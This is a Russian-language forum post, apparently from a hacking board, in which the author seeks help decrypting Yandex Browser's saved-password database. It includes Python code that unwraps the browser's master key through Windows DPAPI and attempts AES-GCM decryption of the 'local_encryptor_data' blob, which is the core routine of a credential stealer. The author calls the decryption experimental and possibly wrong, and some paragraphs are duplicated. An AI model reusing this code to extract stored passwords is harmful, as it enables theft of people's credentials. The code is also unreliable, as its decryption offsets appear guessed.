Бесит. Очень бесит. Хочется расшифровать. Пока что вот какие мысли удалось собрать в кучу:
После декрипта DPAPIой мастер ключа, можно двигаться в Ya Passman Data, в которой у нас есть необычный блоб,
которого нет в ориг Хроме, по v10 можно сделать выводы, что тут у нас сам черт велел покапаться с аесом?
Что думаете чертяки? Пока код такой:
Или думаете о том хуле мне не спится? ЗЫ: Кхорну нужно больше хаоса!
ЗЫ2: даже мелкашная ошибка в коде у меня будет незаметна в рантайме, если заинтересовались то перепроверьте пожалуйста х#йню же пишу
После декрипта DPAPIой мастер ключа, можно двигаться в Ya Passman Data, в которой у нас есть необычный блоб,
которого нет в ориг Хроме, по v10 можно сделать выводы, что тут у нас сам черт велел покапаться с аесом?
Код:
def passwords():
try:
conn = sqlite3.connect("Ya Passman Data")
cursor = conn.cursor()
cursor.execute("SELECT value FROM main.meta WHERE key='local_encryptor_data'")
Что думаете чертяки? Пока код такой:
Код:
import os
import sqlite3
import time
from Crypto.Cipher import AES
import json
import base64
from win32crypt import CryptUnprotectData
# Функция для извлечения паролей
def passwords():
try:
conn = sqlite3.connect("Ya Passman Data")
cursor = conn.cursor()
cursor.execute("SELECT value FROM main.meta WHERE key='local_encryptor_data'")
# Получаем одну запись из результата запроса
value = cursor.fetchone()
# Проверяем, что значение было найдено
if value is not None:
local_encryptor_data = value[0] # Извлекаем значение из кортежа
master_key = get_master_key()
decrypted_password = experiment_decrypt(local_encryptor_data, master_key)
# Представляем байты в разных форматах
hex_representation = decrypted_password.hex()
ansi_representation = decrypted_password.decode('latin-1')
length = len(decrypted_password)
print(f"Decrypted Password (Hex): {hex_representation}")
print(f"Decrypted Password (ANSI): {ansi_representation}")
print(f"Decrypted Password Length: {length} bytes")
else:
print("Значение не найдено в базе данных")
conn.close()
except Exception as e:
print(f"[!] Unknown Error: {e}")
def get_master_key():
with open("Local State", "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
key = CryptUnprotectData(key, None, None, None, 0)[1]
return key
# Функция для проведения эксперимента с IV
def experiment_decrypt(buffer, master_key):
try:
iv = buffer[0:12]
payload = buffer[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
return decrypted_pass
except Exception as e:
return f"Error _decrypt: {e}"
passwords()
Или думаете о том хуле мне не спится? ЗЫ: Кхорну нужно больше хаоса!
ЗЫ2: даже мелкашная ошибка в коде у меня будет незаметна в рантайме, если заинтересовались то перепроверьте пожалуйста х#йню же пишу
Последнее редактирование: